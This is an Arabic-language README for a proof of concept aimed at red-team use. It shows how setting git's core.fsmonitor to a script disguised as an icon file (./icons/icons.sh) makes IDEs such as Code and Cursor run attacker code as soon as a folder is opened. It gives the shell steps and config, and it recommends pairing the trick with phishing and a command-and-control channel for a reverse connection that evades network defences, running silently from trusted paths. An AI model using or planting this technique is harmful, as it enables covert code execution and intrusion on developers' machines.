
هذا دليل على إثبات العمل لإساءة استخدام "fsmonitor" ضد IDE.
هذه مشكلة موثقة (معروفة)، لكنني وجدتها أثناء بحثي وهي مفيدة جدًا لـ RT/PT.
ملخص: يتم تنفيذ مساعد FSMonitor بواسطة git في كل أمر مثل git status، git diff، إلخ، وبالتالي سيقوم git بتشغيل أي مسار نحدده هناك بشكل أعمى. تقوم بيئات التطوير المتكاملة (IDEs) لدينا بتشغيل git status تلقائيًا بمجرد فتح مجلد لتعبئة لوحة إدارة المصدر (SCM) الخاصة بها؛ مما يسمح لـ git بتوليد المساعد المهيأ الذي ينفذ كودًا يتحكم به المهاجم. يمكن استخدام هذه التقنية أثناء الاختراق الفعلي (RT) أو في سيناريو افتراض الاختراق مع أي قناة تحكم أو مع XRayC2 للحصول على اتصال عكسي يتجاوز دفاعات الشبكة التقليدية. (بالطبع، يلزم رسائل التصيد لخداع المستخدم النهائي، لكن فتح مجلد في IDE يبدو عملية معقولة).
إثبات العمل، git clone هذا المستودع وأضف الإعداد التالي تحت دليل .git الخاص بك. بمجرد الانتهاء، افتح المجلد المعدل باستخدام IDE، يجب أن تظهر آلة حاسبة. (لقد اختبرت هذا مع Code و Cursor). هذا المفهوم الأولي (POC) خاص بـ macOS؛ قم بتعديله وفقًا لبيئتك.
bash-3.2$ cd git-fsmonitor
bash-3.2$ mkdir .git
bash-3.2$ nano .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
fsmonitor = ./icons/icons.sh
bash-3.2$ chmod +x ./icons/icons.sh
bash-3.2$ git init
bash-3.2$ git config core.fsmonitor ./icons/icons.sh
bash-3.2$ ls git-fsmonitor-main/.git/
.DS_Store config description HEAD hooks/ info/ objects/ refs/
bash-3.2$
تم الاختبار على Code
Version: 1.106.0 (Universal)
Commit: ac4cbdf48759c7d8c3eb91ffe6bb04316e263c57
Date: 2025-11-11T16:02:25.943Z
Electron: 37.7.0
ElectronBuildId: 12597478
Chromium: 138.0.7204.251
Node.js: 22.20.0
V8: 13.8.258.32-electron.0
OS: Darwin x64 25.1.0
https://github.com/user-attachments/assets/4702aadc-f12d-4380-bc6f-bcd564ddcf96
يعمل هذا لأننا نهيئ المستودع ثم نضيف core.fsmonitor إلى ملف (يمكن أن يكون حمولة). وبالتالي، فتح مجلد يكفي لتنفيذ الكود الخاص بك. معظم المطورين/المستخدمين لديهم ~/Downloads (و مجلدات المستوى الأعلى المشابهة) في مساحة العمل الموثوقة لديهم لذا يعمل إثبات المفهوم (PoC) بصمت؛ لكن إذا كان المستودع خارج هذه المسارات الموثوقة، فسيسأل IDE "هل تثق بهذا الناشر؟" قبل قراءة .git/config.